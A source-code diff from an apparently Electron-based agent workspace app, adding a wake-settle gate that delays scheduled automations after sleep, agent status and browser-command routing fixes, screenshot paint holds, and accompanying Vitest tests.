+import { createProgramStatusProjector } from '../../../../shared/program-status/agent-status-projector'
 import type { AgentHookServer } from '../agent-hook-server'
 
 export const LEAF_1 = '11111111-1111-4111-8111-111111111111'
@@ -44,6 +45,22 @@ export function buildBody(payload: Record<string, unknown>, overrides: Partial<B
   }
 }
 
+/** Feed one OSC 7501 report to the server as the runtime does: its facet, then its status row. */
+export function ingestProgramStatusOsc(server: AgentHookServer, osc: string) {
+  const { payloads, facet } = createProgramStatusProjector().process(osc)
+  server.ingestProgramStatusFacet({ paneKey: PANE, facet: facet ?? null })
+  const event = {
+    paneKey: PANE,
+    tabId: 'tab-1',
+    worktreeId: 'wt-1',
+    connectionId: null,
+    fromProgramStatus: true as const,
+    payload: payloads[0]!.payload
+  }
+  server.ingestTerminalStatus(event)
+  return event
+}
+
 // Stay within the seven-day hydration limit without racing now.
 export function recentTs(offsetMs = 0): number {
   return Date.now() - 60 * 60 * 1000 + offsetMs
diff --git a/src/main/agent-hooks/server/testing/structured-ingress/server-structured-canonical-status.test.ts b/src/main/agent-hooks/server/testing/structured-ingress/server-structured-canonical-status.test.ts
index 4d79694cf68..22c10d7ee59 100644
--- a/src/main/agent-hooks/server/testing/structured-ingress/server-structured-canonical-status.test.ts
+++ b/src/main/agent-hooks/server/testing/structured-ingress/server-structured-canonical-status.test.ts
@@ -11,6 +11,7 @@ import {
 } from '../../../../../shared/agent-session/view/structured-agent-session-projection'
 import { AgentHookServer } from '../../agent-hook-server'
 import { PANE } from '../server.test-fixtures'
+import { agentHookRuntimeDeps } from '../../../runtime/agent-hook-runtime-deps'
 
 vi.mock('../../../../telemetry/client', () => ({ track: vi.fn() }))
 vi.mock('../../../../telemetry/cohort-classifier', () => ({ getCohortAtEmit: vi.fn(() => ({})) }))
@@ -51,6 +52,53 @@ function terminal(server: AgentHookServer, paneKey: string): void {
 afterEach(() => vi.restoreAllMocks())
 
 describe('structured canonical production slice', () => {
+  it('publishes the same public pane evidence while preserving resume-only provider identity', () => {
+    const server = new AgentHookServer()
+    const deps = agentHookRuntimeDeps(server, { read: () => ({ kind: 'unobserved' }) }, () => ({}))
+    server.recordLaunchResumeIdentity({
+      paneKey: PANE,
+      agentType: 'codex',
+      providerSession: { key: 'session_id', id: 'resume-only' },
+      launchedAt: 100
+    })
+    expect(deps.getPublicAgentStatusSnapshotForPane(PANE)).toEqual([])
+    expect(deps.getAgentStatusSnapshotForPane(PANE)).toEqual([
+      expect.objectContaining({
+        providerSessionOnly: true,
+        providerSession: { key: 'session_id', id: 'resume-only' }
+      })
+    ])
+    expect(deps.getAgentProviderSessionRowsForPane(PANE)).toEqual([
+      expect.objectContaining({
+        providerSessionOnly: true,
+        providerSession: { key: 'session_id', id: 'resume-only' }
+      })
+    ])
+    terminal(server, PANE)
+    server.ingestStructuredStatus(summary(), SUBJECT)
+    const second = makeStructuredAgentStatusSubject(
+      { ...SCOPE, executionHostId: 'ssh:other' },
+      SESSION
+    )
+    server.ingestStructuredStatus({ ...summary(second), agent: 'claude', status: 'idle' }, second)
+    expect(deps.getAgentStatusSnapshotForPane(PANE).map(({ state }) => state)).toEqual(['working'])
+    expect(
+      deps
+        .getPublicAgentStatusSnapshotForPane(PANE_KEY)
+        .map(({ agentType, state }) => ({ agentType, state }))
+    ).toEqual([
+      { agentType: 'codex', state: 'working' },
+      { agentType: 'claude', state: 'done' }
+    ])
+    expect(deps.getAgentStatusSnapshot().map(({ paneKey, state }) => ({ paneKey, state }))).toEqual(
+      [
+        { paneKey: PANE, state: 'working' },
+        { paneKey: PANE_KEY, state: 'working' },
+        { paneKey: PANE_KEY, state: 'done' }
+      ]
+    )
+  })
+
   it('isolates identical session identifiers across host, WSL and workspace kind scopes', () => {
     const server = new AgentHookServer()
     const scopes: AgentStatusExecutionScope[] = [
diff --git a/src/main/agent-launch/trust/agent-workspace-trust-spawn.test.ts b/src/main/agent-launch/trust/agent-workspace-trust-spawn.test.ts
index 5bcda0cae73..14cc1d4fec8 100644
--- a/src/main/agent-launch/trust/agent-workspace-trust-spawn.test.ts
+++ b/src/main/agent-launch/trust/agent-workspace-trust-spawn.test.ts
@@ -8,12 +8,10 @@ async function sshTrustRequest(input: {
   worktreeId: string
   globalEnabled?: boolean
   repoDecision?: AgentWorkspaceTrustDecision
-  skipForThisLaunch?: boolean
 }): Promise<AgentTrustSpawnFields> {
   const spawnOptions: AgentTrustSpawnFields = {}
   await applyAgentWorkspaceTrustToSpawn({
     launchAgent: 'claude',
-    skipForThisLaunch: input.skipForThisLaunch,
     worktreeId: input.worktreeId,
     cwd: '/srv/app',
     store: {
@@ -56,10 +54,4 @@ describe('agent folder trust follows the repo decision', () => {
       })
     ).toEqual({})
   })
-
-  it("honours this launch's let-agents-ask answer even when the repo has none stored", async () => {
-    expect(
-      await sshTrustRequest({ worktreeId: 'repo-1::/srv/app', skipForThisLaunch: true })
-    ).toEqual({})
-  })
 })
diff --git a/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts b/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts
index 106da0081d8..aa37a803eaa 100644
--- a/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts
+++ b/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts
@@ -43,8 +43,6 @@ export function agentWorkspaceTrustDecisionForWorkspace(
 export function applyAgentWorkspaceTrustToSpawn(
   args: {
     launchAgent: unknown
-    /** The user chose "let agents ask" for this launch; it wins even if saving that answer failed. */
-    skipForThisLaunch?: boolean
     /** Placement workspace id; its root may differ from the agent’s starting folder. */
     worktreeId: string | undefined
     /** Section root to pre-trust for this launch; never part of the terminal identity. */
@@ -64,7 +62,6 @@ export function applyAgentWorkspaceTrustToSpawn(
   const trustWorkspaceId = resolveAgentWorkspaceTrustOwner(args)
   if (
     !args.isFreshLaunch ||
-    args.skipForThisLaunch === true ||
     !shouldPreTrustAgentWorkspace(
       args.settings?.agentWorkspaceTrustEnabled,
       agentWorkspaceTrustDecisionForWorkspace(trustWorkspaceId, args.store)
diff --git a/src/main/automations/automation-chat-run-observation.ts b/src/main/automations/automation-chat-run-observation.ts
index 02b037b0967..622988efb04 100644
--- a/src/main/automations/automation-chat-run-observation.ts
+++ b/src/main/automations/automation-chat-run-observation.ts
@@ -55,6 +55,12 @@ function observationForResolvedRun(
   }
   const turn = turnItem ? readAgentJournalTurn(turnItem.body) : null
   if (!turn || !turnItem) {
+    if (
+      submission.dispatchState === 'rejected' &&
+      automationAgentDidNotStart(submission.rejection)
+    ) {
+      return { status: 'dispatch_failed', error: automationAgentDidNotStartError(agent) }
+    }
     return submission.dispatchState === 'rejected' || submission.dispatchState === 'unknown'
       ? {
           status: 'dispatch_failed',
@@ -114,3 +120,20 @@ function submissionTurn(
     )
   })
 }
+
+/** Rejections that mean the agent never finished starting, so it never saw the prompt: the start
+ *  passed its limit or was stopped while starting (`hostStopped`), or the agent exited or failed
+ *  while starting. */
+const DID_NOT_START_KINDS: ReadonlySet<string> = new Set([
+  'hostStopped',
+  'providerStartFailed',
+  'startFailed'
+])
+
+export function automationAgentDidNotStart(rejection: { kind: string } | undefined): boolean {
+  return rejection !== undefined && DID_NOT_START_KINDS.has(rejection.kind)
+}
+
+export function automationAgentDidNotStartError(agent: string): string {
+  return `${agent} did not start (the machine may have slept or startup timed out), so it never received this run's prompt. Run the automation again.`
+}
diff --git a/src/main/automations/automation-wake-settle.test.ts b/src/main/automations/automation-wake-settle.test.ts
new file mode 100644
index 00000000000..c8807619c9b
--- /dev/null
+++ b/src/main/automations/automation-wake-settle.test.ts
@@ -0,0 +1,253 @@
+import { closeTestStores, createStore, testState } from '../persistence/persistence-test-harness'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { mkdtempSync, rmSync } from 'node:fs'
+import { join } from 'node:path'
+import { tmpdir } from 'node:os'
+import type { Repo } from '../../shared/repo-types'
+import { AutomationService } from './service'
+import { TICK_MS } from './automation-service-tick.test-fixture'
+import { createAwakeClock, type AwakeClock } from '../power/awake-clock'
+import { AUTOMATION_WAKE_SETTLE_MS, automationSystemSettled } from './automation-wake-settle'
+
+vi.mock('electron', () => ({
+  app: {
+    getPath: () => testState.dir
+  },
+  safeStorage: {
+    isEncryptionAvailable: () => true,
+    encryptString: (plaintext: string) => Buffer.from(`encrypted:${plaintext}`, 'utf-8'),
+    decryptString: (ciphertext: Buffer) => ciphertext.toString('utf-8').slice('encrypted:'.length)
+  }
+}))
+
+const makeRepo = (): Repo => ({
+  id: 'r1',
+  path: '/repo',
+  displayName: 'test',
+  badgeColor: '#fff',
+  addedAt: 1
+})
+
+type CounterModel = 'counts sleep (macOS/Windows Node)' | 'stops in sleep (Linux)'
+
+describe.each<CounterModel>(['counts sleep (macOS/Windows Node)', 'stops in sleep (Linux)'])(
+  'scheduled catch-up after a wake, on a monotonic counter that %s',
+  (model) => {
+    let clock: AwakeClock
+    /** Sleep the fake monotonic counter missed: fake performance only moves with timers. */
+    let countedSleep = 0
+
+    beforeEach(() => {
+      testState.dir = mkdtempSync(join(tmpdir(), 'orca-automations-wake-test-'))
+      vi.useFakeTimers({
+        toFake: [
+          'Date',
+          'performance',
+          'setTimeout',
+          'clearTimeout',
+          'setInterval',
+          'clearInterval',
+          'setImmediate',
+          'clearImmediate'
+        ]
+      })
+      // Why: offset-less times are local, matching the schedule's local BYHOUR in any CI TZ.
+      vi.setSystemTime(new Date('2026-11-09T08:00:00'))
+      countedSleep = 0
+      clock = createAwakeClock({
+        wallNow: () => Date.now(),
+        monotonicNow: () => performance.now() + countedSleep,
+        after: (beat, ms) => {
+          setTimeout(beat, ms)
+        }
+      })
+    })
+
+    afterEach(async () => {
+      await closeTestStores()
+      vi.useRealTimers()
+      rmSync(testState.dir, { recursive: true, force: true })
+    })
+
+    async function awakeFor(ms: number): Promise<void> {
+      await vi.advanceTimersByTimeAsync(ms)
+    }
+
+    /** Asleep: no timers run; the wall clock moves on, and so does the counter if it counts sleep. */
+    function asleepUntil(when: string): void {
+      const ms = new Date(when).getTime() - Date.now()
+      vi.setSystemTime(Date.now() + ms)
+      if (model === 'counts sleep (macOS/Windows Node)') {
+        countedSleep += ms
+      }
+    }
+
+    async function scheduledService(opts: { tickMs?: number; graceMinutes?: number } = {}) {
+      const tickMs = opts.tickMs ?? TICK_MS
+      const store = await createStore()
+      store.addRepo(makeRepo())
+      const automation = store.createAutomation({
+        name: 'GitHub i18n issue and PR scan',
+        prompt: 'Scan',
+        agentId: 'codex',
+        projectId: 'r1',
+        workspaceMode: 'existing',
+        workspaceId: 'r1::wt1',
+        timezone: 'America/Los_Angeles',
+        rrule: 'FREQ=DAILY;BYHOUR=9;BYMINUTE=0',
+        dtstart: new Date('2026-11-08T00:00:00').getTime(),
+        missedRunGraceMinutes: opts.graceMinutes ?? 720
+      })
+      const launch = vi.fn(async () => ({ workspaceId: 'wt-1', terminalSessionId: 'tab-1' }))
+      const service = new AutomationService(store, {
+        tickMs,
+        terminalLauncher: { launch, available: () => true }
+      })
+      service.wakeGate.settled = () => automationSystemSettled(clock)
+      service.start()
+      await awakeFor(tickMs)
+      const statuses = () => store.listAutomationRuns(automation.id).map((run) => run.status)
+      return { store, automation, launch, service, statuses }
+    }
+
+    it('does not start a missed run during a dark wake, then catches it up once awake and stable', async () => {
+      // A one-second tick runs the scheduler inside the two-second dark wake.
+      const { store, automation, launch, service, statuses } = await scheduledService({
+        tickMs: 1_000
+      })
+
+      // The machine sleeps through 09:00 and dark-wakes at 09:08:30 with no resume event.
+      clock.suspend()
+      asleepUntil('2026-11-09T09:08:30')
+      await awakeFor(2_000)
+      expect(statuses()).toEqual([])
+
+      // Back to sleep, then a full wake at 09:19:37.
+      asleepUntil('2026-11-09T09:19:37')
+      clock.resume()
+      await awakeFor(AUTOMATION_WAKE_SETTLE_MS - 1_000)
+      expect(statuses()).toEqual([])
+      expect(launch).not.toHaveBeenCalled()
+
+      await awakeFor(2_000)
+      await vi.waitFor(() => expect(statuses()).toEqual(['dispatched']))
+      expect(store.listAutomationRuns(automation.id)[0]!.scheduledFor).toBe(
+        new Date('2026-11-09T09:00:00').getTime()
+      )
+      expect(launch).toHaveBeenCalledOnce()
+      service.stop()
+    })
+
+    it('does not let the wait after a wake use up a zero-minute grace', async () => {
+      const { store, automation, service, statuses } = await scheduledService({ graceMinutes: 0 })
+
+      // Without the wait, the 09:01:01 tick would have launched this run inside its grace.
+      clock.suspend()
+      asleepUntil('2026-11-09T09:00:01')
+      clock.resume()
+      await awakeFor(TICK_MS)
+      expect(statuses()).toEqual([])
+
+      await awakeFor(TICK_MS)
+      await vi.waitFor(() => expect(statuses()).toEqual(['dispatched']))
+      expect(store.listAutomationRuns(automation.id)[0]!.scheduledFor).toBe(
+        new Date('2026-11-09T09:00:00').getTime()
+      )
+      service.stop()
+    })
+
+    /** Holds today's 09:00 zero-grace occurrence: resume at 09:00:01, held by the 09:01:01 tick. */
+    async function holdZeroGraceOccurrence() {
+      clock.suspend()
+      asleepUntil('2026-11-09T09:00:01')
+      clock.resume()
+      await awakeFor(TICK_MS)
+    }
+
+    /** A run of yesterday's occurrence, still open so its completion lands during a hold. */
+    async function priorDispatchedRun(
+      store: Awaited<ReturnType<typeof scheduledService>>['store'],
+      service: AutomationService,
+      automationId: string
+    ) {
+      const automation = store.listAutomations().find((entry) => entry.id === automationId)!
+      const run = store.createAutomationRun(automation, new Date('2026-11-08T09:00:00').getTime())
+      await service.markDispatchResult({
+        runId: run.id,
+        status: 'dispatched',
+        workspaceId: 'r1::wt1',
+        terminalSessionId: 'tab-0',
+        terminalPtyId: 'pty-0'
+      })
+      return run
+    }
+
+    const updatedAt = (
+      store: Awaited<ReturnType<typeof scheduledService>>['store'],
+      automationId: string
+    ) => store.listAutomations().find((entry) => entry.id === automationId)!.updatedAt
+
+    it('keeps a held occurrence when an earlier run completes during the hold', async () => {
+      const { store, automation, launch, service } = await scheduledService({ graceMinutes: 0 })
+      const prior = await priorDispatchedRun(store, service, automation.id)
+      const todays = () =>
+        store
+          .listAutomationRuns(automation.id)
+          .filter((run) => run.id !== prior.id)
+          .map((run) => run.status)
+
+      await holdZeroGraceOccurrence()
+      expect(todays()).toEqual([])
+      const heldUpdatedAt = updatedAt(store, automation.id)
+      // 09:01:31: the completion watcher reports the earlier run, which also writes its usage.
+      await awakeFor(TICK_MS / 2)
+      await service.markDispatchResult({ runId: prior.id, status: 'completed' })
+      expect(updatedAt(store, automation.id)).not.toBe(heldUpdatedAt)
+
+      await awakeFor(TICK_MS / 2)
+      await vi.waitFor(() => expect(todays()).toEqual(['dispatched']))
+      expect(launch).toHaveBeenCalledOnce()
+      service.stop()
+    })
+
+    it.each([
+      ['a user pause', 'user'],
+      ['an ownership disable', 'ownership']
+    ] as const)(
+      'does not keep a held occurrence across %s and re-enable in the same millisecond',
+      async (_label, disabledBy) => {
+        const { store, automation, launch, service, statuses } = await scheduledService({
+          graceMinutes: 0
+        })
+
+        await holdZeroGraceOccurrence()
+        const held = store.listAutomations().find((entry) => entry.id === automation.id)!
+        const at = Date.now()
+        if (disabledBy === 'user') {
+          store.updateAutomation(automation.id, { enabled: false })
+        } else {
+          store.disableAutomations(new Set([automation.id]))
+        }
+        store.updateAutomation(automation.id, { enabled: true })
+        expect(Date.now()).toBe(at)
+        const restored = store.listAutomations().find((entry) => entry.id === automation.id)!
+        for (const key of [
+          'enabled',
+          'rrule',
+          'dtstart',
+          'timezone',
+          'missedRunPolicy',
+          'missedRunGraceMinutes',
+          'nextRunAt'
+        ] as const) {
+          expect(restored[key]).toEqual(held[key])
+        }
+
+        await awakeFor(TICK_MS)
+        await vi.waitFor(() => expect(statuses()).toEqual(['skipped_missed']))
+        expect(launch).not.toHaveBeenCalled()
+        service.stop()
+      }
+    )
+  }
+)
diff --git a/src/main/automations/automation-wake-settle.ts b/src/main/automations/automation-wake-settle.ts
new file mode 100644
index 00000000000..19d762a7536
--- /dev/null
+++ b/src/main/automations/automation-wake-settle.ts
@@ -0,0 +1,101 @@
+import { getSystemAwakeClock, type AwakeClock } from '../power/awake-clock'
+import type { Store } from '../persistence/loading-store/store'
+import { missedBeyondGrace } from './dispatch-refusal'
+import type { Automation } from '../../shared/automations/automation-definition'
+
+/** How long the machine must stay awake after a wake before scheduled runs start. A dark wake
+ *  (macOS maintenance or Power Nap) lasts seconds, so a run never starts inside one only to have
+ *  its agent frozen mid-start when the machine sleeps again.
+ *  Known limits: wakes repeatedly shorter than this defer scheduling until one lasts; a fresh
+ *  process has no wake history and starts settled; an App Nap-sized stall counts as a wake. */
+export const AUTOMATION_WAKE_SETTLE_MS = 2 * 60_000
+
+/** Whether scheduled automation runs may start now. */
+export function automationSystemSettled(clock: AwakeClock = getSystemAwakeClock()): boolean {
+  return clock.settled(AUTOMATION_WAKE_SETTLE_MS)
+}
+
+type HoldStore = Pick<
+  Store,
+  'listAutomations' | 'getLatestAutomationOccurrence' | 'automationEnablementRevision'
+>
+
+/** The eligibility a hold was granted under: the fields that decide whether and when the
+ *  occurrence may run, plus the store's count of enable/disable transitions, so a pause and
+ *  re-enable revokes the hold even when it restores every field within one millisecond.
+ *  Not `updatedAt`: run completion, usage and retention bookkeeping move it on unchanged
+ *  definitions. A rename or other non-eligibility edit keeps the hold. */
+function eligibilityRevision(
+  store: Pick<HoldStore, 'automationEnablementRevision'>,
+  automation: Automation
+): string {
+  return JSON.stringify([
+    store.automationEnablementRevision(automation.id),
+    automation.enabled,
+    automation.rrule,
+    automation.dtstart,
+    automation.timezone,
+    automation.missedRunPolicy,
+    automation.missedRunGraceMinutes
+  ])
+}
+
+/** Holds scheduled runs while the system is not settled. It remembers each due occurrence a held
+ *  tick would have launched inside its missed-run grace, so the settled tick that finally
+ *  evaluates it does not count the gate's own delay against that grace. A hold is bound to the
+ *  eligibility it was granted under: once the user changes the schedule or grace, or pauses the
+ *  automation, the current definition's own grace decides. */
+export class AutomationWakeGate {
+  /** False while asleep, in a dark wake, or just woken. */
+  settled: () => boolean = () => true
+  private readonly held = new Map<string, { scheduledFor: number; revision: string }>()
+
+  /** Read lazily: the owning service assigns its store after constructing this gate. */
+  constructor(private readonly holdStore: () => Pick<HoldStore, 'automationEnablementRevision'>) {}
+
+  admits(store: HoldStore, tickMs: number): boolean {
+    const automations = store.listAutomations()
+    // Why: each settled() read keeps the awake clock's heartbeat running. With nothing enabled
+    // there is nothing to hold, so the heartbeat can idle out. Limit: the first read after one is
+    // enabled has no gap evidence from before it, like a fresh process.
+    if (!automations.some((automation) => automation.enabled) || this.settled()) {
+      return true
+    }
+    const now = Date.now()
+    for (const automation of automations) {
+      if (!automation.enabled || automation.nextRunAt > now) {
+        continue
+      }
+      try {
+        const scheduledFor = store.getLatestAutomationOccurrence(automation, now)
+        if (
+          scheduledFor !== null &&
+          !missedBeyondGrace({ automation, scheduledFor, now, tickMs })
+        ) {
+          this.held.set(automation.id, {
+            scheduledFor,
+            revision: eligibilityRevision(store, automation)
+          })
+        }
+      } catch {
+        // A malformed schedule is recorded by the settled tick's own evaluation.
+      }
+    }
+    return false
+  }
+
+  /** `missedBeyondGrace`, except an occurrence this gate held while in grace stays eligible
+   *  while its definition is unchanged. */
+  missedBeyondGrace(input: Parameters<typeof missedBeyondGrace>[0]): boolean {
+    const hold = this.held.get(input.automation.id)
+    const held =
+      hold !== undefined &&
+      hold.scheduledFor === input.scheduledFor &&
+      hold.revision === eligibilityRevision(this.holdStore(), input.automation)
+    return !held && missedBeyondGrace(input)
+  }
+
+  clear(): void {
+    this.held.clear()
+  }
+}
diff --git a/src/main/automations/runtime-automation-service.ts b/src/main/automations/runtime-automation-service.ts
index 28b35e2fe05..3a8f4b8d796 100644
--- a/src/main/automations/runtime-automation-service.ts
+++ b/src/main/automations/runtime-automation-service.ts
@@ -22,6 +22,7 @@ import {
 } from './runtime-terminal-run-observer'
 import { closeEarlierHookReviewRunTerminals } from './hook-review-blocked-run-terminals'
 import { automationRunSetupSkip } from './automation-run-setup-skip'
+import { automationSystemSettled } from './automation-wake-settle'
 
 const MAX_REMEMBERED_LAUNCHES = 256
 
@@ -204,6 +205,7 @@ export function createRuntimeAutomationService(input: {
     },
     runTerminalRetention: (owner) => createRuntimeRunTerminalRetention(owner, store, runtime)
   })
+  service.wakeGate.settled = () => automationSystemSettled()
   runtime.setAutomationService(service)
   return service
 }
diff --git a/src/main/automations/service.ts b/src/main/automations/service.ts
index 57d647710a6..68a601cf861 100644
--- a/src/main/automations/service.ts
+++ b/src/main/automations/service.ts
@@ -30,12 +30,12 @@ import { createAutomationRunWriter, type AutomationRunWriter } from './automatio
 import { reportAutomationScheduleDrift } from './schedule-drift-report'
 import {
   describeScheduledTickRefusal,
-  missedBeyondGrace,
   recordMissedRun,
   recordRefusedAutomationRun,
   recordUnevaluableAutomation
 } from './dispatch-refusal'
 import type { RunTerminalRetention } from './run-terminal-retention'
+import { AutomationWakeGate } from './automation-wake-settle'
 import type {
   AutomationsChangedPayload,
   PublishAutomationsChanged
@@ -63,6 +63,7 @@ export class AutomationService {
   private readonly completionWatcher: AutomationRunCompletionWatcher | null
   /** Desktop automation traffic holds this lease to defer queued external probes. */
   externalProbePriority: (<T>(run: () => T) => T) | null = null
+  readonly wakeGate = new AutomationWakeGate(() => this.store)
 
   constructor(
     store: Store,
@@ -216,7 +217,8 @@ export class AutomationService {
   }
 
   private async evaluateDueRuns(): Promise<void> {
-    if (this.evaluating || this.stopped) {
+    // A run started in a dark wake is cut off by the next sleep.
+    if (this.evaluating || this.stopped || !this.wakeGate.admits(this.store, this.tickMs)) {
       return
     }
     this.evaluating = true
@@ -249,6 +251,7 @@ export class AutomationService {
       }
     } finally {
       this.evaluating = false
+      this.wakeGate.clear()
     }
   }
 
@@ -260,7 +263,7 @@ export class AutomationService {
       await this.runs.advanceNextRun(automation.id, now)
       return
     }
-    if (missedBeyondGrace({ automation, scheduledFor, now, tickMs: this.tickMs })) {
+    if (this.wakeGate.missedBeyondGrace({ automation, scheduledFor, now, tickMs: this.tickMs })) {
       await recordMissedRun({ runs: this.runs, automation, scheduledFor })
       await this.runs.advanceNextRun(automation.id, now)
       return
diff --git a/src/main/browser/agent-browser/command-queue/agent-browser-bridge-queue.ts b/src/main/browser/agent-browser/command-queue/agent-browser-bridge-queue.ts
index eafd92c5188..5b4969e02da 100644
--- a/src/main/browser/agent-browser/command-queue/agent-browser-bridge-queue.ts
+++ b/src/main/browser/agent-browser/command-queue/agent-browser-bridge-queue.ts
@@ -20,7 +20,7 @@ import {
   captureRemoteCliBrowserScope,
   runOutsideRemoteCliBrowserScope
 } from '../../../runtime/desktop-browser-bridge/remote-cli-browser-scope'
-import { getActiveRpcCaller } from '../../../runtime/rpc/rpc-active-caller'
+import { captureActiveRpcCall, getActiveRpcCaller } from '../../../runtime/rpc/rpc-active-caller'
 
 export abstract class AgentBrowserBridgeQueue extends AgentBrowserBridgeActionEffects {
   // Serialize tab switches behind commands targeting the current tab.
@@ -97,8 +97,10 @@ export abstract class AgentBrowserBridgeQueue extends AgentBrowserBridgeActionEf
     assertNoJavaScriptDialog(webContentsId, pageId, assertNotRevoked)
     const sessionName = `${ORCA_TAB_SESSION_PREFIX}${pageId}`
     const agentCommand = this.browserManager.beginAgentCommand(pageId)
-    // Queued commands run under the caller ahead of them, so read this one's caller now.
+    // Queued commands run under the caller ahead of them, so read this one's caller now
+    // and re-enter its call, or what it marks would count as that other chat's.
     const caller = getActiveRpcCaller()
+    const inThisCall = captureActiveRpcCall()
     // Decided at enqueue: a queued command runs under the caller of the command ahead of it.
     const reportEffects = options.reportEffects === true && agentCommand.agent
     const expectedUrl = getRequestedPageUrl()
@@ -167,10 +169,12 @@ export abstract class AgentBrowserBridgeQueue extends AgentBrowserBridgeActionEf
               },
               options
             )
-          return origin.run(() => {
-            started = true
-            return this.browserManager.runPageCommand(pageId, caller, () => agentCommand.run(run))
-          })
+          return inThisCall(() =>
+            origin.run(() => {
+              started = true
+              return this.browserManager.runPageCommand(pageId, caller, () => agentCommand.run(run))
+            })
+          )
         },
         resolve: resolve as (value: unknown) => void,
         reject
diff --git a/src/main/browser/agent-browser/session-routing/agent-browser-bridge-tab-routing.test.ts b/src/main/browser/agent-browser/session-routing/agent-browser-bridge-tab-routing.test.ts
index ce28eaa77df..7f8838bd535 100644
--- a/src/main/browser/agent-browser/session-routing/agent-browser-bridge-tab-routing.test.ts
+++ b/src/main/browser/agent-browser/session-routing/agent-browser-bridge-tab-routing.test.ts
@@ -59,6 +59,10 @@ vi.mock('../../cdp/commands/cdp-bridge', async () => {
 })
 
 import { AgentBrowserBridge } from '../agent-browser-bridge'
+import {
+  getActiveRpcAgentSessionId,
+  runWithActiveRpcCaller
+} from '../../../runtime/rpc/rpc-active-caller'
 import {
   answerAgentBrowserCommands,
   mockBrowserManager,
@@ -125,4 +129,51 @@ describe('AgentBrowserBridge', () => {
     await b.click('@e2', 'wt-1')
     expect(clickSessions).toEqual(['orca-tab-tab-a', 'orca-tab-tab-b'])
   })
+
+  it("marks a tab switch queued behind another chat's command as the switching chat's", async () => {
+    const chatA = '11111111-1111-4111-8111-111111111111'
+    const chatB = '22222222-2222-4222-8222-222222222222'
+    const tabs = new Map([
+      ['tab-a', 1],
+      ['tab-b', 2]
+    ])
+    const worktrees = new Map([
+      ['tab-a', 'wt-1'],
+      ['tab-b', 'wt-1']
+    ])
+    const wc1 = mockWebContents(1)
+    const wc2 = mockWebContents(2)
+    webContentsFromIdMock.mockImplementation((id: number) => (id === 1 ? wc1 : wc2))
+    const marks: [string, string | undefined][] = []
+    const b = new AgentBrowserBridge(
+      mockBrowserManager(tabs, worktrees, {
+        beginAgentCommand: (pageId: string) => {
+          marks.push([pageId, getActiveRpcAgentSessionId()])
+          return { agent: true, run: (execute) => execute(), end: () => {} }
+        }
+      })
+    )
+    b.setActiveTab(1, 'wt-1')
+    const held: { releaseA?: () => void } = {}
+    answerAgentBrowserCommands(execFileMock, stdinWrites, (_command, cb) => {
+      const answer = (): void =>
+        cb(null, JSON.stringify({ success: true, data: { snapshot: '' } }), '')
+      if (held.releaseA) {
+        answer()
+      } else {
+        held.releaseA = answer
+      }
+    })
+    const inChat = <T>(chat: string, run: () => T): T =>
+      runWithActiveRpcCaller({ kind: 'local-cli' }, run, chat)
+
+    const snapshot = inChat(chatA, () => b.snapshot('wt-1'))
+    await vi.waitFor(() => expect(execFileMock).toHaveBeenCalled())
+    const tabSwitch = inChat(chatB, () => b.tabSwitch(undefined, 'wt-1', 'tab-b'))
+    held.releaseA?.()
+    await Promise.all([snapshot, tabSwitch])
+
+    expect(marks).toContainEqual(['tab-b', chatB])
+    expect(marks).not.toContainEqual(['tab-b', chatA])
+  })
 })
diff --git a/src/main/browser/cdp/commands/cdp-screenshot.ts b/src/main/browser/cdp/commands/cdp-screenshot.ts
index f43f5c1e194..76cc4726365 100644
--- a/src/main/browser/cdp/commands/cdp-screenshot.ts
+++ b/src/main/browser/cdp/commands/cdp-screenshot.ts
@@ -1,4 +1,8 @@
-import type { CapturePaintHold } from '../debugger/guest-paint-hold'
+import {
+  holdPaintUntilCdpCaptureSettles,
+  holdPaintUntilSettled,
+  type CapturePaintHold
+} from '../debugger/guest-paint-hold'
 import type { WebContents } from 'electron'
 import { sendGuestCdpCommand } from '../debugger/guest-cdp-command'
 import {
@@ -137,7 +141,8 @@ export function withTimeout<T>(
 // Undrawn pages can leave captures pending; cheap probes trigger a frame for the original request.
 function captureUntilDrawn(
   webContents: WebContents,
-  params: Record<string, unknown>
+  params: Record<string, unknown>,
+  holdPaint: CapturePaintHold
 ): Promise<{ data: string } | null> {
   return new Promise((resolve, reject) => {
     let settled = false
@@ -173,12 +178,12 @@ function captureUntilDrawn(
       } catch {
         // Guest teardown can reject repaint requests; still try CDP.
       }
-      return sendGuestCdpCommand(webContents, 'Page.captureScreenshot', requestParams).then(
-        (result) => {
-          const data = isRecord(result) ? result.data : undefined
-          return typeof data === 'string' ? { data } : undefined
-        }
-      )
+      return holdPaintUntilCdpCaptureSettles(webContents, holdPaint, () =>
+        sendGuestCdpCommand(webContents, 'Page.captureScreenshot', requestParams)
+      ).then((result) => {
+        const data = isRecord(result) ? result.data : undefined
+        return typeof data === 'string' ? { data } : undefined
+      })
     }
     const deadline = setTimeout(() => finish(() => resolve(null)), SCREENSHOT_TIMEOUT_MS)
     let probes: NodeJS.Timeout[] = []
@@ -223,11 +228,15 @@ export async function captureFullPageScreenshot(
     if (!clip) {
       throw new Error('Unable to determine full-page screenshot bounds')
     }
-    const frame = await captureUntilDrawn(webContents, {
-      format,
-      captureBeyondViewport: true,
-      clip
-    })
+    const frame = await captureUntilDrawn(
+      webContents,
+      {
+        format,
+        captureBeyondViewport: true,
+        clip
+      },
+      holdPaint
+    )
     if (!frame) {
       throw new Error(SCREENSHOT_TIMEOUT_MESSAGE)
     }
@@ -269,13 +278,13 @@ export async function captureScreenshot(
 
   const release = holdPaint()
   try {
-    const frame = await captureUntilDrawn(webContents, screenshotParams)
+    const frame = await captureUntilDrawn(webContents, screenshotParams, holdPaint)
     if (frame) {
       return frame
     }
     const fallback = await readRemoteCliAdmittedPage(webContents.id, () =>
       withTimeout(
-        Promise.resolve().then(() => webContents.capturePage()),
+        holdPaintUntilSettled(holdPaint, () => webContents.capturePage()),
         FALLBACK_CAPTURE_TIMEOUT_MS,
         SCREENSHOT_TIMEOUT_MESSAGE
       )
diff --git a/src/main/browser/cdp/debugger/guest-paint-hold.ts b/src/main/browser/cdp/debugger/guest-paint-hold.ts
index 885a3e98a84..c235cf72541 100644
--- a/src/main/browser/cdp/debugger/guest-paint-hold.ts
+++ b/src/main/browser/cdp/debugger/guest-paint-hold.ts
@@ -1,2 +1,41 @@
+import type { WebContents } from 'electron'
